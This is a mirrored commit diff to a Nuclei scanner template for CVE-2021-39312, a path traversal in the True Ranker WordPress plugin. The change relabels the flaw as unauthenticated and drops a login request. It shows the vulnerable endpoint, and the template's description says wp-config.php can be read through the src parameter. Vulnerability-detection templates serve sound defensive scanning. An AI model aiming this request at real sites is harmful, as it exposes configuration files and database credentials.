daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Update CVE-2021-39312.yaml

patch-1
Dhiyaneshwaran 2022-05-01 16:10:55 +05:30 committed by GitHub
parent 7ee380cb9e
commit 101f0e4607
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 1 additions and 9 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

10
cves/2021/CVE-2021-39312.yaml
View File

@ -1,7 +1,7 @@
id: CVE-2021-39312 id: CVE-2021-39312
info: info:
name: True Ranker < 2.2.4 - Authenticated Arbitrary File Access via Path Traversal name: True Ranker < 2.2.4 - Unauthenticated Arbitrary File Access via Path Traversal
author: DhiyaneshDK author: DhiyaneshDK
severity: high severity: high
description: The plugin allows arbitrary files, including sensitive configuration files such as wp-config.php, to be accessed via the src parameter found in the ~/admin/vendor/datatables/examples/resources/examples.php file. description: The plugin allows arbitrary files, including sensitive configuration files such as wp-config.php, to be accessed via the src parameter found in the ~/admin/vendor/datatables/examples/resources/examples.php file.
@ -13,14 +13,6 @@ info:
requests: requests:
- raw: - raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- | - |
POST /wp-content/plugins/seo-local-rank/admin/vendor/datatables/examples/resources/examples.php HTTP/1.1 POST /wp-content/plugins/seo-local-rank/admin/vendor/datatables/examples/resources/examples.php HTTP/1.1
Host: {{Hostname}} Host: {{Hostname}}